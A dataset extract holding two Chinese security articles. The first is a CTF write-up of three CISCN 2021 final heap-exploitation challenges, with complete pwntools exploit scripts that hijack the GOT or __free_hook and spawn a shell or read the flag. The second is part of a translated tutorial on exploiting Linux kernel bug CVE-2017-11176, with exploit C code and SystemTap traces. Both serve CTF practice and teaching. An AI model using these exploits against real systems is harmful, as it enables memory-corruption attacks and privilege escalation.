text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
# ciscn2021决赛pwn题解
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## allocate
### 程序分析
自己实现了一个分配器, 空闲的chunk组成一个单链表
* chunk结构
* 释放
* 申请
* 先尝试从free_list中获取如果失败了就直接切割mmap_mem
### 思路
* 关键在与怎么覆盖next指针, 虽然Alloc有明显的整数溢出, 但是没法利用
* 结果发现是一个关于read的骚操作: 如果read的写入区域内有不可写入的地址, 那么不会SIGV, 而是返回-1
* 这种经典读写写法中没有判断read为-1的情况, 因此如果有不可写入的区域, read就会一直返回-1, 然后idx+= -1, 不停的向前, 直到可以全部写入read的内容位置
* 而在Alloc时, 只检查了剩下来的是否为负数, 剩下的够不够分, 因此是很容易分割出一片不可写内存的
* 分割出不可写内存时也要注意, 如果v2->size这样用户态的写入, 如果v2不可写会直接SIGV, 因此还要保证v2->size可写
* 综上, 直接把chunk切割到只剩下0x10作为chunk头, 然后申请一大片内存, 利用read的返回-1就可以覆盖next
* 劫持next之后, 从中分配出来时会检查size是否合适
* 因此不能直接劫持到GOT上, 因为上面都是libc地址
* 由于bss上有PtrArr, 因此分配到PtrArr前面, 覆盖PtrArr再通过这个进行任意写, size我直接选择bss地址了
exp
#! /usr/bin/python2
# coding=utf-8
import sys
from pwn import *
from random import randint
context.log_level = 'debug'
context(arch='amd64', os='linux')
elf_path = "./pwn"
elf = ELF(elf_path)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def Log(name):
log.success(name+' = '+hex(eval(name)))
if(len(sys.argv)==1): #local
cmd = ['/home/chenhaohao/pwn']
sh = process(cmd)
proc_base = sh.libs()['/home/chenhaohao/pwn']
else: #remtoe
sh = remote('39.105.134.183', 18866)
def GDB():
gdb.attach(sh, '''
break *(0x401A21)
break *0x401a6d
''')
def Bits2Str(cont):
res = ''
for i in range(0, len(cont), 8):
res+=chr(int(cont[i: i+8][::-1], 2))
return res[::-1]
def Num(n):
sh.sendline(str(n))
def Cmd(c):
sh.recvuntil('>> ')
sh.sendline(c)
def Gain(idx, sz, cont):
Cmd('gain(%d);'%(idx))
sh.recvuntil(': ')
Num(sz)
sh.recvuntil(': ')
sh.send(cont)
def Edit(idx, cont):
Cmd('edit(%d);'%(idx))
sh.recvuntil(': ')
sh.send(cont)
def Show(idx):
Cmd('show(%d);'%(idx))
def Free(idx):
Cmd('free(%d);'%(idx))
#exhaust mmap_mem
Gain(0, 0xFC0, 'A\n')
Gain(1, 0x10, 'B'*0x10)
Free(1)
#reverse overflow
exp = p64(0x20)
exp+= p64(0x4043b0) #free_list = &free_list
exp = exp.ljust(0x30-1, 'B')
exp+= '\n'
Gain(2, 0x110, exp) #free_list->chunk1->atoi@GOT
#control PtrArr
Gain(3, 0x10, 'B'*0x10)
exp = p64(0x4040b8) #aoti@GOT
exp+= '\n'
Gain(4, 0x4043b0-0x10, exp) #size = &free_list-0x10
#leak addr
Show(0)
libc.address = u64(sh.recv(6).ljust(8, '\x00'))-libc.symbols['atoi']
Log('libc.address')
#control GOT
Edit(0, p64(libc.symbols['system'])+'\n')
#getshell
Cmd('aaaa(/bin/sh);')
sh.interactive()
'''
mem stat: telescope 0x4043A0
'''
### 总结
* read读入含有不可写区域时会返回-1
* no PIE出了直接打GOT, 还要考虑bss上的指针数组
## Binary_Cheater
* 2.32的libc
* 禁用了execve
### 程序分析
* 虽然后执行流混淆, 但是程序本身比较简单, 影响不大, 可以直接看
* 每次循环都会
* 检查 **malloc_hook与** free_hook是否为0
* 清空tcache chunk
* Create
* 最多16个
* 0x410<=size<=0x450
* ptr = calloc(1, size)
* 记录信息
* PtrArr[idx] = ptr
* SizeArr[idx] = size
* UsedArr[idx] = 1
* read(0, ptr, size), 末尾设置00
* 输出checkbit: ptr的低12bit
* Edit
* 没有检查UsedArr
* len = read(0, PtrArr[idx], SizeArr[idx])
* PtrArr[idx][len-1]=0
* Show
* 没有检查UsedArr
* write(1, PtrArr[idx], strlen(PtrArr[idx]))
### 思路
很明显的UAF, 重点在与size的限制, 怎么利用LargeBin来达到任意写
* 泄露地址:
* 由于2.32中UB的地址最后1B为00, 无法泄露libc地址, 因此可以把chunk放入LB中泄露地址
* 当LB中有一个chunkA之后, 在其后面再放入一个chunkB, 就可以让chunkA的fd为chunkB, 从而泄露堆地址
* large bin Attack主要发生在UB向LB中放入chunk的时候, 可以任意地址写入一个chunk地址
* 由于是calloc, 因此覆盖TLS中的tcache指针没用, vtable会检查指针有效性, 因此没法直接覆盖虚表指针, 无法得到栈地址, 程序没使用exit
* 这样看来只剩一条路了FSOP, 类似于House of pig的思路
* 其中比较精妙的点在与对_IO_str_overflow的利用, IO_str_overflow中, 有malloc, 有memcpy写入, 有free, 这就给了我们利用tcache的机会
* 那么为什么不使用_IO_str_finish呢? 因此在2.32中这个函数已经不使用_IO_FILE中的函数指针了, 而是直接调用free, 无法利用
* 综上思路为
* 先泄露libc地址
* 然后LargeBinAttack打TLS中的tcache指针, 这里需要一个chunk伪造Tcache
* 然后打stderr指针, 伪造IO_FILE和vtable, 这里需要另一个chunk伪造_IO_2_1_stderr
* 然后触发assert fail, 进入_IO_str_overflow
* 触发assert error的方式: 原本想的是覆盖LB中的size为0x55, 然后通过一个UB整理到LB中触发assert fail, 但是后面看到fmyy有一个更好的方法
* 覆盖arena->top指针, 再次分配时就会因为chunk大小不足, 进入sysmalloc(), 其中有一个关于page对齐的检查, 很容易触发fail
* 在覆盖tcache与stderr时有一个很精妙的地方
* 覆盖两个地址, 正常的思路是两套size, 5个chunk,比如0x430, 0x420一次, 然后0x440 0x450一次, 由于这题size范围很窄, 因此不可行
* 进一步的是一种复用的思路, 使用3个chunk, 再来一个chunkC 0x420, chunkA配合chunkB先来一次, 然后取出chunkB, chunkA再配合chunkC来一次
* 第一次放入chunkB时会有*(addr1+0x20)=chunkB
* 取出时由于unlink, 会有*(addr1+0x20) = chunkA
* 第二次放入chunkC时会有*(addr2+0x20)=chunkC
* 因此addr1 addr2实际对应chunkA chunkC, 而不是chunkB chunkC
* 再进一步, 其实用两个chunk就可以了, 先chunkA配合chunkB来一次, 取出后, 有 _addr1=chunkA, 然后chunkA配合chunk再来一次, 不取出来, 就有_ addr2 = chunkB
* 本题一共需要3次LargeBin Attack, 0x420配合0x420进行两次, 0x440配合0x450进行一次, 0x460用来触发UB sort, 刚好
* 接着考虑伪造stderr, printf(stderr)会调用_IO_xsputn_t, 要让其偏移到_IO_str_jumps中的_IO_str_overflow
* _IO_str_overflow会把原来[_IO_buf_base, _IO_buf_end)复制到malloc得到的内存中, 因此伪造tcache指向__free_hook-0x10, 利用memcpy覆盖hook为rdx_GG, 布置好SigreturnFrame就可以开启ROP
EXP
#! /usr/bin/python2
# coding=utf-8
import sys
from pwn import *
from random import randint
context.log_level = 'debug'
context(arch='amd64', os='linux')
elf_path = "./pwn"
elf = ELF(elf_path)
libc = ELF('./libc.so.6')
def Log(name):
log.success(name+' = '+hex(eval(name)))
if(len(sys.argv)==1): #local
cmd = ['/home/chenhaohao/pwn']
sh = process(cmd)
proc_base = sh.libs()['/home/chenhaohao/pwn']
else: #remtoe
sh = remote('39.105.134.183', 18866)
def GDB():
gdb.attach(sh, '''
telescope 0x50F0+0x0000555555554000 16
heap bins
break *0x7ffff7e73c11
''')
def Num(n):
sh.sendline(str(n))
def Cmd(n):
sh.recvuntil('>> ')
Num(n)
def Create(sz, cont=''):
Cmd(1)
sh.recvuntil('(: Size: ')
Num(sz)
if(cont==''):
cont='A'*sz
sh.recvuntil('(: Content: ')
sh.send(cont)
def Edit(idx, cont):
Cmd(2)
sh.recvuntil('Index: ')
Num(idx)
sh.recvuntil('Content: ')
sh.send(cont)
def Delete(idx):
Cmd(3)
sh.recvuntil('Index: ')
Num(idx)
def Show(idx):
Cmd(4)
sh.recvuntil('Index: ')
Num(idx)
sh.recvuntil('Content: ')
#chunk arrange
Create(0x420) #A
Create(0x420) #B gap
Create(0x410) #C
Create(0x410) #D gap
Create(0x430) #E
Create(0x410) #F gap
Create(0x440) #G
#leak libc addr
Delete(0) #UB<=>A
Create(0x450) #LB<=>A A|B|C|D|top
Show(0)
libc.address = u64(sh.recv(6).ljust(8, '\x00'))-0x1e3ff0
Log('libc.address')
#tcache ptr in TLS = chunkA
addr = libc.address+0x1eb538
exp = flat(0, 0, 0, addr-0x20)
Edit(0, exp)
Delete(2) #UB<=>chunkC
Create(0x450) #trigger sort
#leak heap addr
Show(0)
heap_addr = u64(sh.recv(6).ljust(8, '\x00'))-0xb10
Log('heap_addr')
#withdraw chunk C, so tcache = chunk A
Create(0x410)
#stderr = chunkC
addr = libc.address+0x1e47a0
exp = flat(0, 0, 0, addr-0x20)
Edit(0, exp)
Delete(9) #UB<=>chunkC
Create(0x450) #trigger sort
#forge tcache
exp = p16(0x7)*64 #tcache.counts
exp+= p64(libc.symbols['__free_hook']-0x10)*64
Edit(0, exp)
#GDB()
#forge stderr
'''
char *_IO_read_ptr; /* Current read pointer */
char *_IO_read_end; /* End of get area. */
char *_IO_read_base; /* Start of putback+get area. */
char *_IO_write_base; /* Start of put area. */
char *_IO_write_ptr; /* Current put pointer. */
char *_IO_write_end; /* End of put area. */
char *_IO_buf_base; /* Start of reserve area. */
char *_IO_buf_end; /* End of reserve area. */
'''
old = heap_addr + 0x6f0 #old = chunkB
exp = p64(0xfbad2087)
exp+= flat(0, 0, 0)
exp+= flat(old, old+0x100, 0)
exp+= flat(old, old+0x100)
exp = exp.ljust(0x88, '\x00')
exp+= p64(libc.address+0x1e6680)
exp = exp.ljust(0xd8, '\x00')
exp+= p64(libc.address+0x1E5580-0x8*4) #f->vtable = _IO_str_jumps-0x8*4
Edit(2, exp[0x10:])
#SROP
rdx_GG = libc.address+0x14b760 #mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
rdi = libc.address+0x2858f
rsi = libc.address+0x2ac3f
rdx_r12 = libc.address+0x114161
syscall = libc.address+0x611ea
rax = libc.address+0x45580
ret = libc.address+0x26699
buf = heap_addr+0x200
def Call(sys, a, b, c):
return flat(rax, sys, rdi, a, rsi, b, rdx_r12, c, 0, syscall)
exp = '\x00'*0x8
exp+= p64(heap_addr+0x708)
exp+= p64(rdx_GG)
frame = SigreturnFrame()
frame.rip = ret
frame.rsp = heap_addr+0x800
frame['uc_stack.ss_size'] = libc.symbols['setcontext']+61
exp+= str(frame)
#ORW rop
exp+= Call(0, 0, buf, 0x30)
exp+= Call(2, buf, 0, 0)
exp+= Call(0, 3, buf, 0x30)
exp+= Call(1, 1, buf, 0x30)
Edit(1, exp)
#forge av->top and trigger assert fail
Delete(6)
Create(0x450) #LB<=>G
addr = libc.address+0x1e3c00
exp = flat(0, 0, 0, addr-0x20)
Edit(6, exp)
Delete(4)
#trigger sort=> top=chunkE => sysmalloc() => assert fail => printf(stderr)
Cmd(1)
sh.recvuntil('(: Size: ')
Num(0x450)
sleep(2)
sh.sendline('./flag\x00')
sh.interactive()
### 总结
* LargeBinAttack的思路
* 打TLS中的tcache指针
* 打rtld中的exit函数链表
* 打stderr的_IO_FILE, 触发largebin中的assert error进入printf(stderr, …)
* 利用写入victim地址区伪造自闭链表, 然后尝试进行任意地址分配
* 通过_IO_str_overflow触发malloc, memcpy, free
## cissh
### 程序分析
* 关键是Manager对象, 根据初始化函数可以发现
* this+0x是一个vector< shared_ptr<File> >, 保存创建的文件
* this+0x18是一个vector<string> , 会把读入的cmd以空格分割保存为数组
* this+0x30是一个map<string, FuncPtr>, 是一个命令到对应函数的映射, 支持下面的命令
* touch
* ls
* vi
* cat
* rm
* ln
* File结构
* string name 保存文件名
* shared_ptr<string> cont
* string type, 如果是正常的文件则为”file” 如果是ln的文件则为”link”
### 思路
* 由于有ln的存在,因此漏洞只能出现在每个文件cont部分的shared_ptr上, 后来测试了一下发现, 当链接之后, shared_ptr<string> cont;的引用技术不会增加, 还是1, 这就会导致UAF
* 经过测试发现如果有A1->A, 先rm(A), 这样A1的cont就是被释放过的
* 但是需要注意一点, 由于string有一个局部缓冲区特性, 长度小于0x10的话,使用结构体内部缓冲区, 直接去free的话会报错
* 能构造出UAF思路就清楚了, 先用7个chunk填满tcache, 然后释放一个chunk到UB中, UAF读泄露libc地址, 然后直接tcache attack打__free_hook
### EXP
#! /usr/bin/python2
# coding=utf-8
import sys
from pwn import *
from random import randint
context.log_level = 'debug'
context(arch='amd64', os='linux')
elf_path = "./pwn"
elf = ELF(elf_path)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def Log(name):
log.success(name+' = '+hex(eval(name)))
if(len(sys.argv)==1): #local
cmd = ['/home/chenhaohao/pwn']
sh = process(cmd)
proc_base = sh.libs()['/home/chenhaohao/pwn']
else: #remtoe
sh = remote('39.105.134.183', 18866)
def GDB():
gdb.attach(sh, '''
break *free
''')
def Cmd(n):
sh.recvuntil('\x1B[31m$ \x1B[m')
sh.sendline(n)
def touch(name):
Cmd('touch %s'%(name))
def vi(name, cont):
Cmd('vi %s'%(name))
sh.sendline(cont)
def rm(name):
Cmd('rm %s'%(name))
def cat(name):
Cmd("cat %s"%(name))
def ln(new, old):
Cmd("ln %s %s"%(new, old))
#prepare chunk
for i in range(8):
name = "A%d"%(i)
touch(name)
vi(name, str(i)*0x300)
#make ln
ln("l_A0", "A0")
ln("l_A7", "A7")
#full Tcache, Tcache->A7->A6->...->A1
for i in range(1, 8):
name = "A%d"%(i)
rm(name)
#get UB chunk
rm("A0") #UB<=>A0 and l_A0->A0
#leak addr
cat("l_A0")
libc.address = u64(sh.recv(8))-0x1ebbe0
Log('libc.address')
#forge tcache list
vi("l_A7", flat(libc.symbols['__free_hook']))
#control __free_hook
touch("A7")
vi("A7", '7'*0x300)
touch("shell")
vi("shell", '/bin/sh\x00'*8)
touch("hook")
vi("hook", p64(libc.symbols['system']).ljust(0x300, '\x00'))
#getshell
#GDB()
rm('shell')
sh.interactive()
'''
telescope 0x0000555555578ec0 3
''' | 社区文章 |
**本文翻译自：[CVE-2017-11176: A step-by-step Linux Kernel exploitation (part
1/4)](https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part1.html)**
译者注：由于有点长，所以分成了两部分，[前一部分链接](https://xz.aliyun.com/t/5185)
# Reaching the Retry Logic
在上一节中，我们分析了漏洞并设计了一个可以触发漏洞的攻击场景。在本节中，我们将看到如何触发漏洞代码（retry部分）并开始编写漏洞利用代码。
实际上，在开始前，我们必须检查该漏洞是否是可利用的。如果我们甚至无法到达有漏洞的代码路径（由于一些安全检查不满足），那就没有理由继续了。
## 分析retry前的代码
像大多数系统调用一样， _mq_notify_ 首先使用copy_from_user()函数将用户空间的数据拷贝到内核空间：
SYSCALL_DEFINE2(mq_notify, mqd_t, mqdes,
const struct sigevent __user *, u_notification)
{
int ret;
struct file *filp;
struct sock *sock;
struct inode *inode;
struct sigevent notification;
struct mqueue_inode_info *info;
struct sk_buff *nc;
[0] if (u_notification) {
[1] if (copy_from_user(¬ification, u_notification,
sizeof(struct sigevent)))
return -EFAULT;
}
audit_mq_notify(mqdes, u_notification ? ¬ification : NULL); // <--- you can ignore this
代码首先检查用户空间提供的参数 _u_notification_ 不为NULL [0]然后将它拷贝到内核空间中[1]（ _notification_ ）。
接下来，有一系列对于用户空间提供的 **struct sigevent** 参数的检查：
nc = NULL;
sock = NULL;
[2] if (u_notification != NULL) {
[3a] if (unlikely(notification.sigev_notify != SIGEV_NONE &&
notification.sigev_notify != SIGEV_SIGNAL &&
notification.sigev_notify != SIGEV_THREAD))
return -EINVAL;
[3b] if (notification.sigev_notify == SIGEV_SIGNAL &&
!valid_signal(notification.sigev_signo)) {
return -EINVAL;
}
[3c] if (notification.sigev_notify == SIGEV_THREAD) {
long timeo;
/* create the notify skb */
nc = alloc_skb(NOTIFY_COOKIE_LEN, GFP_KERNEL);
if (!nc) {
ret = -ENOMEM;
goto out;
}
[4] if (copy_from_user(nc->data,
notification.sigev_value.sival_ptr,
NOTIFY_COOKIE_LEN)) {
ret = -EFAULT;
goto out;
}
/* TODO: add a header? */
skb_put(nc, NOTIFY_COOKIE_LEN);
/* and attach it to the socket */
retry: // <---- we want to reach this!
filp = fget(notification.sigev_signo);
如果提供的参数不为NULL [2]，则会检查 _sigev_notify_ 三次（[3a]，[3b]，[3c]）。另一处
_copy_from_user()_ 调用会将用户提供的 _notification.sigev_value_sival_ptr_
的值作为参数[4]。这需要指向有效的用户空间可读区域，否则copy_from_user（）将会失败。
_struct sigevent_ 声明：
// [include/asm-generic/siginfo.h]
typedef union sigval {
int sival_int;
void __user *sival_ptr;
} sigval_t;
typedef struct sigevent {
sigval_t sigev_value;
int sigev_signo;
int sigev_notify;
union {
int _pad[SIGEV_PAD_SIZE];
int _tid;
struct {
void (*_function)(sigval_t);
void *_attribute; /* really pthread_attr_t */
} _sigev_thread;
} _sigev_un;
} sigevent_t;
最后，要进入retry路径至少一次，我们需要按如下方式执行：
* _u_notification_ 参数不为NULL
* 将 _u_notification.sigev_notify_ 设置为 _SIGEV_THREAD_
* notification.sigev_value.sival_ptr必须指向至少有NOTIFY_COOKIE_LEN（=32）字节的有效可读用户空间地址（参考[include/linux/mqueue.h]）
## 首次编写exp
开始编写exp并验证一切ok
/*
* CVE-2017-11176 Exploit.
*/
#include <mqueue.h>
#include <stdio.h>
#include <string.h>
#define NOTIFY_COOKIE_LEN (32)
int main(void)
{
struct sigevent sigev;
char sival_buffer[NOTIFY_COOKIE_LEN];
printf("-={ CVE-2017-11176 Exploit }=-\n");
// initialize the sigevent structure
memset(&sigev, 0, sizeof(sigev));
sigev.sigev_notify = SIGEV_THREAD;
sigev.sigev_value.sival_ptr = sival_buffer;
if (mq_notify((mqd_t)-1, &sigev))
{
perror("mqnotify");
goto fail;
}
printf("mqnotify succeed\n");
// TODO: exploit
return 0;
fail:
printf("exploit failed!\n");
return -1;
}
建议使用Makefile来简化漏洞利用开发（可以很方便构建并运行脚本）。编译的时候需要带有 **-lrt** 编译参数，代码中要使用 _mq_notify_
就需要加这个参数（gcc -lrt）。此外，建议使用 **-O0** 编译参数来避免gcc重新排序我们的代码（它可能导致难以调试的错误）。
-={ CVE-2017-11176 Exploit }=- mqnotify: Bad file descriptor
exploit failed!
mq_notify返回“Bad file
descriptor”，相当于“-EBADF”。有三个地方可能产生此错误。可能是两个fget()调用之一，也可能是后面的 _(filp- >f_op !=
&mqueue_file_operations)_检查。
## Hello System Tap!
在漏洞利用开发的早期阶段，强烈建议在带有调试符号的内核中运行漏洞，它允许使用 **SystemTap**
！SystemTap是一个很棒的工具，可以在不进入gdb的情况下直接探测内核。它使过程可视化变得容易。
让我们从基本的System Tap（stap）脚本开始：
# mq_notify.stp
probe syscall.mq_notify
{
if (execname() == "exploit")
{
printf("\n\n(%d-%d) >>> mq_notify (%s)\n", pid(), tid(), argstr)
}
}
probe syscall.mq_notify.return
{
if (execname() == "exploit")
{
printf("(%d-%d) <<< mq_notify = %x\n\n\n", pid(), tid(), $return)
}
}
这个脚本安装了两个探测器，这些探测器将在系统调用执行前和执行后分别被调用。
在调试多线程时，打印pid()和tid()会有很大帮助。另外，使用（execname()=="exploit"）判断语句允许限制输出。
**WARNING** ：如果输出太多，systemtap可能会默默地丢弃某些行！
运行脚本
stap -v mq_notify.stp
运行exp:
(14427-14427) >>> mq_notify (-1, 0x7ffdd7421400)
(14427-14427) <<< mq_notify = fffffffffffffff7
很好，探针似乎有效。我们可以看到mq_notify()系统调用的两个参数都符合我们传入的参数（我们设置第一个参数为“-1”，而0x7ffdd7421400看起来像用户空间的地址）。它返回fffffffffffffff7，即
_-EBADF_ （=-9）。让我们再添加一些探针。
与 _syscall_ 钩子（以"SYSCALL_DEFINE*"开头的函数）不同，可以使用以下语法钩住普通内核函数:
probe kernel.function ("fget")
{
if (execname() == "exploit")
{
printf("(%d-%d) [vfs] ==>> fget (%s)\n", pid(), tid(), $$parms)
}
}
**WARNING** :由于某种原因，并非所有内核函数都可以使用钩子。在出错情况下，System Tap会通知你并拒绝启动脚本。
让我们为 _mq_notify()_ 中调用的每一个函数添加相应探针，以查看代码流并重新运行exp：
(17850-17850) [SYSCALL] ==>> mq_notify (-1, 0x7ffc30916f50)
(17850-17850) [uland] ==>> copy_from_user ()
(17850-17850) [skb] ==>> alloc_skb (priority=0xd0 size=0x20)
(17850-17850) [uland] ==>> copy_from_user ()
(17850-17850) [skb] ==>> skb_put (skb=0xffff88002e061200 len=0x20)
(17850-17850) [skb] <<== skb_put = ffff88000a187600
(17850-17850) [vfs] ==>> fget (fd=0x3)
(17850-17850) [vfs] <<== fget = ffff88002e271280
(17850-17850) [netlink] ==>> netlink_getsockbyfilp (filp=0xffff88002e271280)
(17850-17850) [netlink] <<== netlink_getsockbyfilp = ffff88002ff82800
(17850-17850) [netlink] ==>> netlink_attachskb (sk=0xffff88002ff82800 skb=0xffff88002e061200 timeo=0xffff88002e1f3f40 ssk=0x0)
(17850-17850) [netlink] <<== netlink_attachskb = 0
(17850-17850) [vfs] ==>> fget (fd=0xffffffff)
(17850-17850) [vfs] <<== fget = 0
(17850-17850) [netlink] ==>> netlink_detachskb (sk=0xffff88002ff82800 skb=0xffff88002e061200)
(17850-17850) [netlink] <<== netlink_detachskb
(17850-17850) [SYSCALL] <<== mq_notify= -9
## 第一个漏洞
我们似乎正确地到达了 _retry_ 代码路径，因为我们有以下执行过程：
* copy_from_user：我们的指针不为null
* alloc_skb：我们通过了SIGEV_THREAD判断
* copy_from_user：复制了我们的sival_buffer
* skb_put：表示先前的copy_from_user()并没有失败
* fget（fd = 0x3）：<\--- ???
Hmm......哪里已经出错了......我们没有在 **notification.sigev_signo**
中提供任何文件描述符，它应该是零（不是3）：
// initialize the sigevent structure
memset(&sigev, 0, sizeof(sigev));
sigev.sigev_notify = SIGEV_THREAD;
sigev.sigev_value.sival_ptr = sival_buffer;
然而，第一次调用fget()并没有失败。另外netlink_getsockbyfilp()和netlink_attachskb()都成功了！这也很奇怪，因为我们没有创建任何
_AF_NETLINK_ 套接字。
第二次fget()调用失败了，因为我们在mq_notify()的第一个参数中设置了“-1”（0xffffffff ）。那么，哪里出错了？
让我们回到exp，打印我们的 **sigevent** 指针，并将其与传递给系统调用的值进行比较：
printf("sigev = 0x%p\n", &sigev);
if (mq_notify((mqd_t) -1, &sigev))
-={ CVE-2017-11176 Exploit }=- sigev = 0x0x7ffdd9257f00 // <------ mq_notify: Bad file descriptor
exploit failed!
(18652-18652) [SYSCALL] ==>> mq_notify (-1, 0x7ffdd9257e60)
显然，传递给系统调用 _mq_notify_ 的结构体与我们在exp中提供的不同。这意味着system tap是有问题的（有可能）或者......
... **我们被库封装骗了**
让我们解决这个问题，通过syscall()系统调用来直接调用 _mq_notify_ 。
首先添加以下头文件，以及我们自己的包装器：
#define _GNU_SOURCE
#include <unistd.h>
#include <sys/syscall.h>
#define _mq_notify(mqdes, sevp) syscall(__NR_mq_notify, mqdes, sevp)
另外，请记住在Makefile中删除“-lrt”（我们现在直接使用syscall）。
将sigev_signo显式设置为'-1'，因为0实际上是一个有效的文件描述符，并使用包装器：
int main(void)
{
// ... cut ...
sigev.sigev_signo = -1;
printf("sigev = 0x%p\n", &sigev);
if (_mq_notify((mqd_t)-1, &sigev))
// ... cut ...
}
运行
-={ CVE-2017-11176 Exploit }=- sigev = 0x0x7fffb7eab660
mq_notify: Bad file descriptor
exploit failed!
(18771-18771) [SYSCALL] ==>> mq_notify (-1, 0x7fffb7eab660) // <--- as expected!
(18771-18771) [uland] ==>> copy_from_user ()
(18771-18771) [skb] ==>> alloc_skb (priority=0xd0 size=0x20)
(18771-18771) [uland] ==>> copy_from_user ()
(18771-18771) [skb] ==>> skb_put (skb=0xffff88003d2e95c0 len=0x20)
(18771-18771) [skb] <<== skb_put = ffff88000a0a2200
(18771-18771) [vfs] ==>> fget (fd=0xffffffff) // <---- that's better!
(18771-18771) [vfs] <<== fget = 0
(18771-18771) [SYSCALL] <<== mq_notify= -9
这一次，我们在第一次fget()失败之后直接进入out路径（如预期的那样）。
到目前为止，我们知道可以到达"retry路径（至少一次），而不会被任何安全检查所阻止。一个常见的陷阱已经暴露（由库封装而不是系统调用引起），我们知道了如何修复它。为了避免将来出现同样的错误，我们将包装每个系统调用。
让我们继续前进并在System Tap的帮助下触发漏洞。
# 强制触发漏洞
有时想要在不展开所有内核代码的情况下验证想法。在本节中，我们将使用System Tap Guru模式来修改内核数据结构并强制执行特定的内核路径。
换句话说，我们将从内核空间触发漏洞。我们的想法是，如果我们甚至无法从内核空间触发漏洞，那么我们也无法从用户空间做到。因此，让我们首先通过修改内核来满足每个要求，然后在用户空间中逐个实现它们（参见第2部分）。
提醒一下，如果满足下列两个条件就说明我们可以触发错误：
* 我们到达了“retry逻辑”（循环回到retry路径）。也就是说，我们首先需要进入 _netlink_attachskb()_ ，并使其返回1. sock的引用计数将减一。
* 在循环回到retry路径（goto retry）之后，下一次调用fget()必须返回NULL，这样就会退出（out路径）并再次减少sock的引用计数。
## netlink_attachskb()
在上一小节中，需要netlink_attachskb()返回1以触发漏洞。但是，在到达它之前有几个条件：
* 我们需要提供一个有效的文件描述符，这样第一次调用fget()不会失败
* 文件描述符指向的文件应该是 **AF_NETLINK类型的套接字**
也就是说，我们应通过所有检查：
retry:
[0] filp = fget(notification.sigev_signo);
if (!filp) {
ret = -EBADF;
goto out;
}
[1] sock = netlink_getsockbyfilp(filp);
fput(filp);
if (IS_ERR(sock)) {
ret = PTR_ERR(sock);
sock = NULL;
goto out;
}
通过第一个检查[0]很简单，只需提供一个有效的文件描述符（使用open()，socket()等）。然而，最好直接使用正确的类型，否则不会通过第二次检查[1]：
struct sock *netlink_getsockbyfilp(struct file *filp)
{
struct inode *inode = filp->f_path.dentry->d_inode;
struct sock *sock;
if (!S_ISSOCK(inode->i_mode)) // <--- this need to be a socket...
return ERR_PTR(-ENOTSOCK);
sock = SOCKET_I(inode)->sk;
if (sock->sk_family != AF_NETLINK) // <--- ...from the AF_NETLINK family
return ERR_PTR(-EINVAL);
sock_hold(sock);
return sock;
}
漏洞利用代码改变（记得包装系统调用socket()）：
/*
* CVE-2017-11176 Exploit.
*/
#define _GNU_SOURCE
#include <mqueue.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#define NOTIFY_COOKIE_LEN (32)
#define _mq_notify(mqdes, sevp) syscall(__NR_mq_notify, mqdes, sevp)
#define _socket(domain, type, protocol) syscall(__NR_socket, domain, type, protocol)
int main(void)
{
struct sigevent sigev;
char sival_buffer[NOTIFY_COOKIE_LEN];
int sock_fd;
printf("-={ CVE-2017-11176 Exploit }=-\n");
if ((sock_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_GENERIC)) < 0)
{
perror("socket");
goto fail;
}
printf("netlink socket created = %d\n", sock_fd);
// initialize the sigevent structure
memset(&sigev, 0, sizeof(sigev));
sigev.sigev_notify = SIGEV_THREAD;
sigev.sigev_value.sival_ptr = sival_buffer;
sigev.sigev_signo = sock_fd; // <--- not '-1' anymore
if (_mq_notify((mqd_t)-1, &sigev))
{
perror("mq_notify");
goto fail;
}
printf("mq_notify succeed\n");
// TODO: exploit
return 0;
fail:
printf("exploit failed!\n");
return -1;
}
运行：
-={ CVE-2017-11176 Exploit }=- netlink socket created = 3
mq_notify: Bad file descriptor
exploit failed!
(18998-18998) [SYSCALL] ==>> mq_notify (-1, 0x7ffce9cf2180)
(18998-18998) [uland] ==>> copy_from_user ()
(18998-18998) [skb] ==>> alloc_skb (priority=0xd0 size=0x20)
(18998-18998) [uland] ==>> copy_from_user ()
(18998-18998) [skb] ==>> skb_put (skb=0xffff88003d1e0480 len=0x20)
(18998-18998) [skb] <<== skb_put = ffff88000a0a2800
(18998-18998) [vfs] ==>> fget (fd=0x3) // <--- this time '3' is expected
(18998-18998) [vfs] <<== fget = ffff88003cf14d80 // PASSED
(18998-18998) [netlink] ==>> netlink_getsockbyfilp (filp=0xffff88003cf14d80)
(18998-18998) [netlink] <<== netlink_getsockbyfilp = ffff88002ff60000 // PASSED
(18998-18998) [netlink] ==>> netlink_attachskb (sk=0xffff88002ff60000 skb=0xffff88003d1e0480 timeo=0xffff88003df8ff40 ssk=0x0)
(18998-18998) [netlink] <<== netlink_attachskb = 0 // UNWANTED BEHAVIOR
(18998-18998) [vfs] ==>> fget (fd=0xffffffff)
(18998-18998) [vfs] <<== fget = 0
(18998-18998) [netlink] ==>> netlink_detachskb (sk=0xffff88002ff60000 skb=0xffff88003d1e0480)
(18998-18998) [netlink] <<== netlink_detachskb
(18998-18998) [SYSCALL] <<== mq_notify= -9
看起来和第一次有问题的输出(使用库函数那次)很像，这里的区别是我们实际控制每个数据（文件描述符，sigev），没有任何东西隐藏在库封装后面。由于第一个
**fget()** 和 **netlink_getsockbyfilp()** 都没有返回NULL，可以假设通过了两个检查。
## 迫使netlink_attachskb()返回1
使用前面的代码，我们让netlink_attachskb()返回0。这意味着我们进入了“正常”路径。我们不希望这样，我们想进入“retry”路径（返回1）。那么，让我们回到内核代码：
int netlink_attachskb(struct sock *sk, struct sk_buff *skb,
long *timeo, struct sock *ssk)
{
struct netlink_sock *nlk;
nlk = nlk_sk(sk);
[0] if (atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(0, &nlk->state)) {
DECLARE_WAITQUEUE(wait, current);
if (!*timeo) {
// ... cut (never reached in our code path) ...
}
__set_current_state(TASK_INTERRUPTIBLE);
add_wait_queue(&nlk->wait, &wait);
